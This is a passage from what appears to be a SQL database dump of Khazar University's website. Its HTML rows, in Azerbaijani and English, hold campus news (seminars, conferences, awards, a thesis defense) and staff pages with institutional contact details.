keçirmiş, həmçinin, tibbi konfranslarda dəvətli məruzəçi kimi çıxış etmişdir. Onun təcrübə sahələri etika, elmi yazı və elmi tədqiqatlardan nəşrlərin maksimum artırılmasıdır.</p>'),(4630,2747,'az','“Övladıma necə yanaşım? Mütəxəssis və valideynlərə dəstək” adlı seminar','2017-ci il dekabrın 16-da Xəzər Universiteti Psixologiya departamenti və Xəzər Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə...','<p>2017-ci il dekabrın 16-da Xəzər Universiteti Psixologiya departamenti və Xəzər Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə universitetdə “Övladıma necə yanaşım? Mütəxəssis və valideynlərə dəstək” adlı seminar baş tutdu. Seminarı Xəzər Universitetinin Psixologiya departamentinin müəllimi psixoloq Kəmalə Əliyeva apardı. Seminarda uşaqlarla düzgün ünsiyyət qurma yolları və problemli davranışların aradan qaldırılma üsulları, ailə modellərinin uşaq şəxsiyyətinin inkişafına təsiri, bəzi ailə modellərin uşaqlarda ortaya çıxardığı psixoloji problemlər, uşaqlarda özünə inamın inkişafı üçün nələrə diqqət edilməsi mövzusu müzakirə edildi. Seminarda Xəzər Psixoloji Xidmət Mərkəzinin direktoru psixoloq Mələk Kərimova da cəmiyyətin bu mövzuda maarifləndirilməsinin zəruri olduğunu qeyd edərək, Kəmalə Əliyeva ilə bərabər, iştirakçıların suallarını cavablandırdı.</p>'),(4631,2748,'az','Xəzər Universitetində hüquqşünas tələbələrin və məzunların konfransı keçirildi','Dekabrın 16-da Xəzər Universitetində hüquqşünas tələbələrin və məzunların konfransı keçirildi...','<p>Dekabrın 16-da Xəzər Universitetində hüquqşünas tələbələrin və məzunların konfransı keçirildi.</p><p>Beynəlxalq Vəkillər Assosiasiyasının, Xəzər Universitetinin Hüquq Tədris Mərkəzinin və müstəqil hüquqşünas Lalə Darçınovanın təşkilatçılığı ilə keçirilən konfransda tələbələr, peşəkar hüquqşünaslar, Azərbaycan Vəkillər Kollegiyasının üzvləri, Beynəlxalq Vəkillər Assosiasiyasının nümayəndələri və Böyük Britaniyanın London şəhərində yerləşən “Doughty Chambers”in vəkil üzvləri iştirak edirdilər.</p><p>Tədbiri&nbsp;Lalə Darçınova açaraq qeyd etdi ki,&nbsp;konfransın məqsədi gənc hüquqşünaslarla praktiki hüquqşünasları bir araya gətirərək, hüquq peşəsindəki mövcud problemlərdən, çətinliklərdən danışmaq və gənc hüquqşünasların düzgün ixtisaslaşmasına kömək etmək, onları&nbsp;gələcək peşə seçimində düzgün qərar verməkdə istiqamətləndirməkdir.</p><p>Konfransda&nbsp;&nbsp;Beynəlxalq Vəkillər Assosiasiyasının hüquqşünası Jurate Guzeviciute (London), müstəqil hüquqşünas&nbsp;Könül Qasımova, Marmara Universitetinin (Türkiyə) hüquq ixtisası üzrə magistr tələbəsi&nbsp;Elnur Kərimov və&nbsp; İtaliyanın Roma Universitetinin hüquq ixtisası üzrə magistr tələbəsi Nərmin Əbilova çıxış etdilər.</p><p>Konfrans müzakirələrlə davam edərək, işini başa çatdırdı.</p>'),(4632,2749,'az','Professor Hamlet İsaxanlıya və xalçaçı rəssam Afaq Kərimovaya “Kazım Qarabəkir Vəqfi”nin ödülləri təqdim olundu','2017-ci il dekabrın 15-də AMEA Mərkəzi Elmi Kitabxanası (MEK) və “Turan Cavid Qadın Mərkəzi” İctimai Birliyinin birgə təşkilatçılığı...','<p>2017-ci il dekabrın 15-də AMEA Mərkəzi Elmi Kitabxanası (MEK) və “Turan Cavid Qadın Mərkəzi” İctimai Birliyinin birgə təşkilatçılığı ilə MEK-də “Türk dünyasının qüdrətli qılınc və qələmi” adlı konfrans keçirilib. Tədbir Türk dünyasının iki böyük simasının - Azərbaycan ədəbiyyatında mənzum dram janrının banisi, böyük romantik şair və ictimai xadim Hüseyn Cavidin və Türkiyə dövlət və hərbi xadimi Kazım Qarabəkirin anadan olmalarının 135 illiyinə həsr olunub.</p><p>Tədbirdə AMEA-nın, dövlət və ictimai qurumlarının, ali məktəblərin nümayəndələri, Azərbaycanda akkreditə olunmuş diplomatik nümayəndəliklərin rəhbərləri, Hüseyn Cavid və Kazım Qarabəkir mövzusuna müraciət etmiş sənətşünaslar, filoloq alimlər, rəssamlar, musiqi ifaçıları, aktyorlar, Hüseyn Cavid və Kazım Qarabəkirin ailə üzvləri iştirak ediblər.</p><p>Tədbirdə, həmçinin, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, universitetin Mədəniyyət Mərkəzinin direktoru və müəllimi, tanınmış xalçaçı rəssam Afaq Kərimova iştirak etmişlər.</p><p>Afaq Kərimova “Təsviri sənətdə Hüseyn Cavid” mövzusunda çıxışında Hüseyn Cavid mövzusuna müraciət edən sənətkarlardan söz açıb, müəllifi olduğu “Əbədiyyət” və “Heydər Əliyev və Hüseyn Cavid” xalçalarını, eləcə də “Planet” plakatı və “Alın yazısı” batikasını təqdim edib.</p><p>Tədbirdə Xəzər Universiteti və universitetin “Dünya” məktəbində Hüseyn Cavidin xatirəsinə və yaradıcılığına həsr olunan mərasimlər keçirildiyi vurğulanıb.</p><p>Tədbirdə Azərbaycanın tanınmış elm və sənət xadimlərinə ödüllər təqdim olunub. “Kazım Qarabəkir Vəqfi”nin rəhbəri, Kazım Qarabəkirin qızı Timsal Qarabəkir vəqfin fəaliyyətində iştiraklarına görə professor Hamlet İsaxanlıya və xalçaçı rəssam Afaq Kərimovaya “Kazım Qarabəkir Vəqfi”nin ödüllərini təqdim edib.</p>'),(5267,3053,'az','Müəllimlər və inzibati işçilər üçün təlim keçiriləcək','2018-ci il martın 29-u saat 10:00-dan 14:00-dək təlim otağında (V mərtəbə, yeni bina)...','<p>2018-ci il martın 29-u saat 10:00-dan 14:00-dək təlim otağında (V mərtəbə, yeni bina) “Advocacy Establishment for Students through Ombudsman Position” (AESOP) adlı Erasmus+ layihəsi çərçivəsində Xəzər Universitetinin müəllim heyəti və inzibatı işçiləri üçün təlim keçirilməsi nəzərdə tutulur. Təlimin əsas məqsədi universitet əməkdaşlarını universitetin strukturu, fakültələrin və departamentlərin vəzifələri, nizam-intizam qaydaları, tələbələrin hüquq və öhdəlikləri və s. haqqında ətraflı məlumatlandırmaqdır. Bununla yanaşı, tədbir zamanı layihə və yeni yaradılmış “Ombudsman Ofisi” haqqında da məlumat veriləcəkdir.</p><p>Xəzər Universitetində çalışan bütün əməkdaşlarımızdan xüsusilə tələbələrlə sıx ünsiyyətdə olanlardan bu təlimdə iştirak etmələri xahiş olunur. Zəhmət olmasa, iştirakınızı martın 28-nə kimi <a href=\"mailto:rmammadova@khazar.org\">rmammadova@khazar.org</a>&nbsp;e-mail ünvanına yazaraq təsdiqləyin.</p><p>Hər birinizi təlimdə görməkdən məmnunluq duyarıq.</p>'),(4633,2750,'az','İşçi heyəti','İşçi heyəti','<p><strong><a href=\"http://www.khazar.org/files/letters/Jeyhun_Isayev_CV.pdf\"><img src=\"/files/letters/isayev-Ceyhun.jpg\" style=\"width:150px;height:188px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Ceyhun İsayev</a></strong></p><p><strong>Tələbə qeydiyyat və məlumat şöbəsinin müdiri</strong></p><p><strong>E-mail:</strong> <a href=\"mailto:iceyhun@khazar.org\">iceyhun[at]khazar.org</a>  <a href=\"http://mailto:iceyhun@khazar.org\"></a><a title=\"iceyhun@khazar.org\" target=\"_self\" tabindex=\"0\" label=\"Email iceyhun@khazar.org\"></a>  </p><p><strong>Telefon: </strong>(+994&nbsp;12) 421 10 93  (236)</p><p><br></p><p><br></p>\r\n<hr><p><img src=\"/files/admin/aysel_i.jpg\" style=\"float:left;width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/admin/aysel_ibishova.pdf\">Aysel Şükürova</a></strong></p><p><strong>Assistent</strong></p><p><strong>E-mail:</strong>  <a href=\"http://mailto:nigarmamedova94@mail.ru\"></a><a href=\"mailto:aibishova@khazar.org\">aibishova[at]khazar.org</a><br></p><p><br></p><p><br></p>'),(4634,2751,'az','“Universitetlərdə rektor seçkisi keçirilsə, nə baş verər...”','Modern.az saytı Azərbaycanın ali təhsli müəssisələrinə rektorların seçki yolu ilə vəzifəyə gəlməsinə münasibət öyrənməyə çalışmışdır...','<p><strong><em>Modern.az</em></strong> saytı Azərbaycanın ali təhsli müəssisələrinə rektorların seçki yolu ilə vəzifəyə gəlməsinə münasibət öyrənməyə çalışmışdır. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı da məsələyə münasibət bildirmişdir.</p><p>Daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"http://modern.az/az/news/151926\">http://modern.az/az/news/151926</a>;</p><p><a href=\"http://www.dia.az/8/163703-universitetlerde-rektor-sechkisi-kechirilse.html\">http://www.dia.az/8/163703-universitetlerde-rektor-sechkisi-kechirilse.html</a>;</p><p><a href=\"http://istiqlal.az/news/46329.html\">http://istiqlal.az/news/46329.html</a>;</p><p><a href=\"http://mektebgushesi.az/2017/12/18/universitetlərdə-rektor-seckisi-kecirilsə-nə-baş-verər/\">http://mektebgushesi.az/2017/12/18/universitetlərdə-rektor-seckisi-kecirilsə-nə-baş-verər/</a>;</p><p><a href=\"https://paralel.az/article/az/28090-Universitetlərdə+rektor+seçkisi+keçirilsə+nə+baş+verər...++.html\">https://paralel.az/article/az/28090-Universitetlərdə+rektor+seçkisi+keçirilsə+nə+baş+verər...++.html</a>.</p>'),(4635,2750,'en','Staff','Staff','<p><strong><a href=\"http://www.khazar.org/files/letters/Jeyhun_Isayev_CV.pdf\"><img src=\"http://www.khazar.org/files/letters/isayev-Ceyhun.jpg\" style=\"width:150px;height:188px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Jeyhun Isayev</a></strong></p><p><strong>Head of&nbsp;Registration and Record Office  </strong></p><p><strong>E-mail:</strong> <a href=\"mailto:iceyhun@khazar.org\">iceyhun[at]khazar.org</a>  <a href=\"http://mailto:iceyhun@khazar.org\"></a><a title=\"iceyhun@khazar.org\" target=\"_self\" tabindex=\"0\" label=\"Email iceyhun@khazar.org\"></a>  </p><p><strong>Phone: </strong>(+994&nbsp;12) 421 10 93  (236)</p><p><br></p><p><br></p>\r\n<hr><p><img src=\"/files/admin/aysel_i.jpg\" style=\"float:left;width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/admin/aysel_ibishova.pdf\">Aysel Shukurova</a></strong></p><p><strong>Assistant</strong></p><p><strong>E-mail:</strong>  <a href=\"http://mailto:nigarmamedova94@mail.ru\"></a><a href=\"mailto:aibishova@khazar.org\">aibishova[at]khazar.org</a><br></p>'),(5293,3066,'az','Hamlet İsaxanlı bəstəkarın yaradıcılıq gecəsində çıxış etdi','2018-ci il martın 30-da M.Maqomayev adına Azərbaycan Dövlət Akademik Filarmoniyasında...','<p>2018-ci il martın 30-da M.Maqomayev adına Azərbaycan Dövlət Akademik Filarmoniyasında bəstəkar, Əməkdar incəsənət xadimi Vasif Allahverdiyevin yaradıcılıq gecəsi keçirildi. Tədbirdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək, Azərbaycan bəstəkarlıq məktəbi və onun görkəmli nümayəndəsi olan Vasif Allahverdiyevin zəngin yaradıcılıq fəaliyyətindən danışdı.</p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"https://azertag.az/xeber/Bestekar_Vasif_Allahverdiyevin_yaradiciliq_gecesi_kechirilib-1148543\">https://azertag.az/xeber/Bestekar_Vasif_Allahverdiyevin_yaradiciliq_gecesi_kechirilib-1148543</a>.</p>'),(4636,2752,'az','Azərbaycan dili və ədəbiyyatı departamentinin müəlliminin məqaləsi çap olundu','Azərbaycan Milli Elmlər Akademiyası Nizami Gəncəvi adına Ədəbiyyat İnstitutunun nəşri olan “Ədəbiyyat məcmuəsi” jurnalında...','<p>Azərbaycan Milli Elmlər Akademiyası Nizami Gəncəvi adına Ədəbiyyat İnstitutunun nəşri olan “Ədəbiyyat məcmuəsi” jurnalında (2017, № 3, XXXI cild) Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının “XX əsrin ikinci yarısında Azərbaycan vətəndaşlıq lirikasında şair kimliyi” (Məmməd Araz, Söhrab Tahir AzərAzər və Məmməd İsmayılın yaradıcılığı əsasında) adlı məqaləsi çap olunmuşdur.</p><p>Məqalədə Məmməd Araz, Söhrab Tahir AzərAzər və Məmməd İsmayılın vətəndaşlıq lirikası əsasında şair şəxsiyyətinin yaradıcılığa bilavasitə təsiri elmi şəkildə nəzərdən keçirilir. Azərbaycanda milli şüurun formalaşmasında sözügedən şairlərin oynadıqları rol göstərilməklə, həmin kontekstdən onların yaradıcılığı təhlil edilir. Bu şairlərin vətəndaşlıq lirikasındakı oxşar və fərqli cəhətləri müqayisəli şəkildə verilərək, belə bir nəticəyə gəlinir ki, onlar öz poeziyası ilə coğrafi-siyasi cəhətdən bölünmüş, torpağı zəbt edilmiş Azərbaycan xalqının milli-mənəvi birliyinin qorunmasına yardımçı olmuşlar.</p><p>Məqalə&nbsp;ilə <strong><a href=\"http://www.khazar.org/files/letters/Qardashxan-Edebiyat%20mecmuesi-2017-3.pdf\">bu linkdə</a></strong> tanış ola bilərsiniz.</p>'),(4706,2793,'az','Xəzər Universiteti Dünya Azərbaycanlılarının Həmrəylik Gününü və yeni ili qeyd etdi','2017-ci il dekabrın 28-də Xəzər Universitetinin yeməkxanasında müəllim və tələbələr üçün 31 Dekabr...','<p>2017-ci il dekabrın 28-də Xəzər Universitetinin yeməkxanasında müəllim və tələbələr üçün 31 Dekabr –&nbsp;Dünya Azərbaycanlılarının Həmrəylik Günü və Yeni ilə həsr edilmiş bayram şənliyi keçirildi. İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı universitet kollektivini və tələbələri bayram münasibətilə təbrik etdi. Tələbələr yetərincə rəqslər etdilər, əyləndilər. Bayram şənliyində azərbaycanlı tələbələrlə yanaşı, xarici ölkələrin tələbələri də çox fəal idilər. Yeməkxananın müdiriyyəti tərəfindən üzərində Xəzər Universiteti kampuslarının böyük fotoları əks olunmuş 3 metrlik tort, çay, meyvə suları tələbələrə paylanıldı. Tədbirdə universitetin prorektorları, dekanları, departament müdirləri, əməkdaşları və digər şəxslər iştirak edirdilər.</p>'),(4638,2754,'az','Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru konfransda iştirak etdi','2017-ci ilin dekabrın 19-da Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzinin koordinatoru Rima Məmmədova...','<p>2017-ci ilin dekabrın 19-da Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzinin koordinatoru Rima Məmmədova “Əlilliyi olan şəxslərin məşğulluq qabiliyyətlərinin artırılması” adlı konfransda iştirak etdi. British Council, Bakcell MMC və Britaniya Səfirliyinin təşkil etdiyi konfransın əsas məqsədi biznes müəssisələrini və işəgötürənləri bir araya gətirərək iş dünyasında əlilliyi olan şəxslərin işə götürülməsi ilə bağlı ən uğurlu beynəlxalq təcrübə barədə məlumatı bölüşməkdən ibarət idi. Tədbir zamanı ekspert Mark Grey Birləşmiş Krallığın bu sahədəki təcrübəsi barədə təqdimat etdi.</p>'),(4639,2755,'az','KPMG şirkəti imtahan keçirdi','2017-ci il dekabrın 14-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə KPMG şirkətinin rəsmi nümayəndəsinin iştirakı ilə...','<p>2017-ci il dekabrın 14-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə KPMG şirkətinin rəsmi nümayəndəsinin iştirakı ilə (Aydan Badalova) KPMG-də təcrübə proqramı fürsətini qazanmaq uğrunda Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin tələbələri üçün imtahan təşkil olundu.</p>'),(4645,2736,'en','Teachers and Students Visited Sumgait Technologies Park ','On December 14, teachers and students of the Faculty of Engineering and Applied Science at Khazar University explored the Sumgait...','<p>On December 14, teachers and students of the Faculty of Engineering and Applied Science at Khazar University explored the Sumgait Technologies Park (STP).\r\nThe first part of the event consisted of STP experts presentations. Then, students and teachers visited Factories of Polymeric Products, Electrical Equipment, Metal Constructions and Hot Galvanizing plant. The managers and specialists of the factories gave the students an extensive information about the work process and the products processed in these factories.</p>'),(4641,2757,'az','İnformasiya sistemləri şöbəsi','İnformasiya sistemləri şöbəsi','<p>İnformasiya Sistemləri Şöbəsinin əsas işi Tələbə Məlumat Sistemi proqram təminatının inkişafını və tətbiqini təmin etməkdir.</p><p>SIMS tələbə informasiya idarəetmə sistemidir. Sistemin məqsədi başqa heçbir proqram təminatına ehtiyac duymadan universitetin bütün akademik tələblərini ödəməkdir.</p><p>Azərbaycam təhsil sisteminə tamamilə uyğun olaraq hazırlanan sistemdə tələbələrin ilk qeydiyyatından məzunluqlarına qədər olan bütün növ məlumatları saxlanılır və ehtiyac olduğunda çox rahat şəkildə əldə edilə bilər.</p><p>Tələbələr də öz növbələrində tələbə kodları ilə sistemə daxil olaraq təhsil müddətincə olan akademik məlumatlarını izləyə bilərlər.</p><p>Heç bir əlavə əməliyyat yerinə yetirmədən sistemdən istənilən statistik hesabatları çıxarmaq mümkündür. Statsitik məlumatlardan əlavə sistem üzərindən təklif olunan anketlər vasitəsilə ilə tələblərin müxtəlif məsələlərə münasibətini öyrənmək olar.</p><p>Hal-hazırda Xəzər Universitetində istismar olunan “SIMS” bir universitetin bütün akademik ehtiyaclarına cavab verən yüksək səviyyəli informasiya sistemidir.</p><p><br></p><h3>Əlaqə</h3><p><strong><a href=\"http://www.khazar.org/files/letters/CV_Rashad_ENGv4.pdf\"><img src=\"http://www.khazar.org/files/engineering/images/Rashad_Khaligov.jpg\" style=\"float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Rəşad Xalıqov</a></strong></p><p><strong>İnformasiya Sistemləri şöbəsinin müdiri</strong><br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:rkhaligov[at]khazar.org\">khaligov[at]khazar.org</a></p><p><strong>Telefon:&nbsp;</strong>(+994 12) 421 10 93 (269)  </p><p><br></p>'),(4642,2757,'en','Information Systems Office','Information Systems Office','<p>The main goal of Information Systems Department is to provide the development and application of Student Information System.</p><p>SIMS is a student information management system. The objective of the system is to provide on program meeting all the administrative needs of university without a need for any other software.</p><p>The system, which was designed especially for the Azerbaijani education system, saves all information related to each student - from their first registration to graduation – and makes it quick and easy to access when needed.</p><p>Current students can also track their own academic progress by accessing the system with their unique student codes.</p><p>The system can also automatically produce statistical reports. In addition to statistics, the system can also be used to design questionnaires to poll students about their opinions on various issues.</p><p>SIMS is currently being used in Khazar University. It is a high-level information system that meets all the university’s academic needs.</p>  <p><br></p><h3>Contacts</h3><p><strong><a href=\"http://www.khazar.org/files/letters/CV_Rashad_ENGv4.pdf\"><img src=\"http://www.khazar.org/files/engineering/images/Rashad_Khaligov.jpg\" style=\"float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Rashad Xaligov</a></strong></p><p><strong>Head of Information Systems department</strong><br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:rkhaligov[at]khazar.org\">khaligov[at]khazar.org</a></p><p><strong>Phone:&nbsp;</strong>(+994 12) 421 10 93 (269)  </p><p><br></p>'),(4770,2823,'en','An event “Happy Chinese New Year” to be held at \"Dunya\" School','On January 17, 2018, at 14:00, an event “Happy Chinese New Year”, within the framework of the \"Chinese Corner\" project, organized by the Library...','<p>On January 17, 2018, at 14:00, an event “Happy Chinese New Year”, within the framework of the \"Chinese Corner\" project, organized by the Library Information Center of Khazar University, will be conducted at “Dunya” School of Khazar University.</p><p>Everyone interested is welcome.  <br></p>'),(4644,2694,'en','Students Use Labs at ‘Dunya’ School','On November 23 and 30, the students of School of Engineering and Applied Sciences at Khazar University attended...','<p>On November 23 and 30, the students of School of Engineering and Applied Sciences at Khazar University attended the physics and chemistry laboratories of ‘Dunya’ School. The students in separate groups carried out laboratory works during the class.</p><p>Noting that, the students regularly make use of labs at the University and at ‘Dunya’ School, hence in the laboratories they put into practice the theoretical knowledge which they gain at the classes.</p>'),(4643,2737,'az','\"EiLink Welcome Day\" tədbiri','Dekabrın 12-də Xəzər Universitetinin Mərmər zalında \"eiLink Welcome day\" adlı tədbir keçirilmişdir. Tədbir eiLink Tədqiqat...','Dekabrın 12-də Xəzər Universitetinin Mərmər zalında \"eiLink Welcome day\" adlı tədbir keçirilmişdir. Tədbir eiLink Tədqiqat və İnkişaf Mərkəzində cari və inkişaf edən elmi layihələrin&nbsp;tanıdılmasına həsr edilmişdi. Mühəndislik və Tətbiqi elmlər və İqtisadiyyat və Menecment fakültələrinin tələbələri də tədbirdə iştirak etmişdir. Tədbir zamanı eiLink-in doktorant tədqiqatçıları Şəhriyar Alxaslı, İzət Şahsənov və Vəfa Əhmədzadə təqdimatlar ilə çıxış etmişdir.'),(4646,2758,'az','Coğrafiya və ətraf mühit departamentinin müdiri yeni yaranan assosiasiyanın üzvü seçildi','2017-ci il dekabr 15-də Azərbaycan Milli Elmlər Akademiyasında Azərbaycan Su İstifadəçiləri Assosiasiyasının təsis yığıncağı...','<p>2017-ci il dekabr 15-də Azərbaycan Milli Elmlər Akademiyasında Azərbaycan Su İstifadəçiləri Assosiasiyasının təsis yığıncağı keçirildi. Assosiasiyada respublikanın nazirliklərinin, aparıcı elmi institutlarının tanınmış su mütəxəssisləri təmsil olunurlar. Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov təsis yığıncağında işçi qrupunun üzvü seçildi.</p><p>Qeyd edək ki, Xəzər Universiteti bu qurumda təmsil olunan yeganə universitetdir.</p>'),(4647,2759,'az','Qəbul və Tələbə Şöbəsi','Qəbul və Tələbə Şöbəsi','<p>Qəbul və Tələbə Şöbəsi 09 oktyabr 2006-cı il tarixdə yaradılmışdır.</p>\r\n<p>Qəbul və Tələbə Şöbəsi tələbə qəbulu ilə bağlı prosesin və oxuduqları müddətdə tələbələrin hərəkət trayektoriyası ilə bağlı bütün sənədləşmələrin (xaric edilmə, bərpa edilmə, akademik möhlət verilməsi, ali məktəblərarası köçürülmə, hərbi məsələlərlə bağlı arayışların verilməsi və s.) və diplomların verilməsinin həyata keçirilməsini təmin edir.</p><p><br></p><h3>Əlaqə</h3><p><strong></strong><a href=\"http://www.khazar.org/files/letters/Lamiya_Namazova_CV.pdf\"><strong><img src=\"/files/letters/lamiya-n.jpg\" style=\"width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Lamiyə Namazova</strong></a></p><p><strong>Qəbul və Tələbə şöbəsinin&nbsp;müdiri</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:lnamazova[at]khazar.org\">lnamazova[at]khazar.org</a>  </p><p><strong>Telefon:&nbsp;</strong>(+994 12) 421 10 93 (226)  </p><p><br></p><p><br></p><p><br></p><hr><p><strong><img src=\"/files/letters/khayala_a.JPG\" style=\"width:150px;height:173px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/letters/Khayala_Alakbarova.pdf\">Xəyalə Ələkbərova</a></strong></p><p><strong>Assistent</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:khalakbarova@khazar.org\">khalakbarova[at]khazar.org</a>  </p>'),(5563,3203,'az','Coğrafiya və ətraf mühit departamentinin müdiri elmi konfransda çıxış etdi','2018-ci il mayın 12-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin...','<p>2018-ci il mayın 12-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov Bakı şəhərində keçirilən “<em>Daxili suların problemlərinin öyrənilməsi</em>” adlı elmi konfransda “<em>Elektrik enerjisi istehsal edən su anbarlarının ekosistem servislərinin qiymətləndirilməsi</em>” mövzusunda çıxış etdi.</p>'),(4648,2759,'en','Admission and Information Office','Admission and Information Office','<br><p>Admissions Department was established on October 9, 2006.</p>\r\n<p>Admissions Department deals with students’ admission and provides students with diplomas and all relevant documents related to their educational background (admission, readmission, academic deferral, inter-university transfer, a reference for military issues etc.).</p><p><br></p><h3>Contacts</h3><p><strong></strong><a href=\"http://www.khazar.org/files/letters/Lamiya_Namazova_CV.pdf\"><strong><img src=\"/files/letters/lamiya-n.jpg\" style=\"width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Lamia Namazova</strong></a></p><p><strong>Head of&nbsp;<strong>Admission and Information Office</strong>  </strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:lnamazova[at]khazar.org\">lnamazova[at]khazar.org</a>  </p><p><strong>Phone:&nbsp;</strong>(+994 12) 421 10 93 (226)  </p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"/files/letters/khayala_a.JPG\" style=\"width:150px;height:173px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/letters/Khayala_Alakbarova.pdf\">Khayala&nbsp;Alakbarova</a></strong></p><p><strong>Assistant</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:khalakbarova@khazar.org\">khalakbarova[at]khazar.org</a>  <a href=\"http://mailto:khalakbarova@khazar.org\"></a><a title=\"khalakbarova@khazar.org\" target=\"_self\" tabindex=\"0\" label=\"Email khalakbarova@khazar.org\"></a>  </p>'),(4737,2809,'az','7-8 Aprel V Beynəlxalq Psixologiya Konfransı','7-8 Aprel V Beynəlxalq Psixologiya Konfransı','<img src=\"http://www.khazar.org/uploads/articles/o_1c5b7mqj012udqbs1k5311mo15kka.jpg\" style=\"width:600px;height:845px;vertical-align:baseline\">'),(6078,3467,'az','Ülviyyə İbrahimovanın yeni monoqrafiyası işıq üzü gördü','2018-ci il avqustun 28-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Ülviyyə Əjdər qızı İbrahimovanın...','<p>2018-ci il avqustun 28-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Ülviyyə Əjdər qızı İbrahimovanın “<em>Azərbaycan tarixi “Mücməli Fəsihi”də</em>” adlı monoqrafiyası işıq üzü görmüşdür. Monoqrafiyada XIV yüzilliyin sonu – XV yüzilliyin əvvəllərində Azərbaycanın iqtisadi, siyasi tarixi hadisələri dövrün müasiri Fəsih Xəvafi adlı Herat tarixçisinin “Mücməli Fəsihi” əsəri üzrə araşdırılmış, tədqiqat zamanı həm bu əsərin özü Azərbaycan tarixinin öyrənilməsində yeni mənbə kimi tədqiq edilmiş, həm də mənbənin verdiyi məlumatlar dövrün digər farsdilli qaynaqları ilə müqayisə edilərək, XIV yüzilliyin sonu və XV yüzilliyin əvvəllərini əhatə edən zaman kəsiyindəki tarixi hadisələr Azərbaycan tarixində ilk dəfə ayrıca tədqiqata cəlb edilmişdir. Monoqrafiyada oxucuların ixtiyarına verilən fotoşəkillər də orijinaldır və müəllifin özü tərəfindən çəkilmişdir.</p>'),(4723,2795,'en','Seminar on “Blood type and your personality”','A seminar on “Blood type and your personality” was held on the initiative of Career Centre of Khazar University, on December 28, 2017...','<p>A seminar on “Blood type and your personality” was held on the initiative of Career Centre of Khazar University, on December 28, 2017. The presenter was Associate Professor Sevda Tahirli, PhD in Biology, President of M.A.Sabir Foundation.</p><p>The presenter talked about the impact of blood group on a human character, its influence on career choice and family life as well as its impact on food preference and other issues.</p><p>After the presentation, Sevda Tahirli answered questions by students.</p><p>Sevda Tahirli presented 2 copies of her book “Voice of our blood” to the library of Khazar University.</p>'),(4724,2793,'en','Khazar University celebrated Solidarity Day of World Azerbaijanis and New Year','December 31 – Solidarity Day of World Azerbaijanis and New Year party was held in the canteen of Khazar University for the students...','<p>December 31 – Solidarity Day of World Azerbaijanis and New Year party was held in the canteen of Khazar University for the students and instructors on December 28, 2017. Isakhan Isakhanli, vice rector for Administration and Student Affairs, congratulated teaching staff and students. The students danced and had a very good time. The international students, along with Azerbaijani students, were also active at the party. Management of the canteen served the students with a huge cake of 3 meters with photos of university campus as well as tea and fruit. Vice-rectors, deans, heads of departments and university staff also participated at the party.</p>'),(4651,2761,'az','Dissertasiya işinin ilkin müzakirəsi oldu','2017-ci il dekabrın 19-da Xəzər Universiteti Magistratura, Doktorantura və Elmi İşlər bölməsi dissertant Məhəmməd Əkbərovun...','<p>2017-ci il dekabrın 19-da Xəzər Universiteti Magistratura, Doktorantura və Elmi İşlər bölməsi dissertant Məhəmməd Əkbərovun “Platonun fəlsəfəsində qanun ideyası” adlı dissertasiya işinin ilkin müzakirəsini keçirdi. Müzakirədə Bakı Dövlət Universitetinin professoru Fərman İsmayılov, AMEA-nın Fəlsəfə İnstitutunun əməkdaşları professor Əlikram Tağıyev və f.ü.f.d. Şölət Zeynalov, Magistratura, Doktorantura və Elmi İşlər bölməsinin müdiri f.ü.f.d. Eldar Şahgəldiyev, Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri s.ü.f.d. Elmar Mustafayev, Psixologiya departamentinin müdiri Mələk Kərimova, Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimova və başqaları iştirak edirdilər. Dissertant Məhəmməd Əkbərov öz təqdimatında Platonun fəlsəfəsində ədalət anlayışı və onun mahiyyəti məsələlərini ön plana çəkərək, dissertasiyanın əsas nəticələri ilə iştirakçıları tanış etdi.</p>'),(4652,2761,'en','Preliminary defense of doctoral thesis','On December 19, 2017, 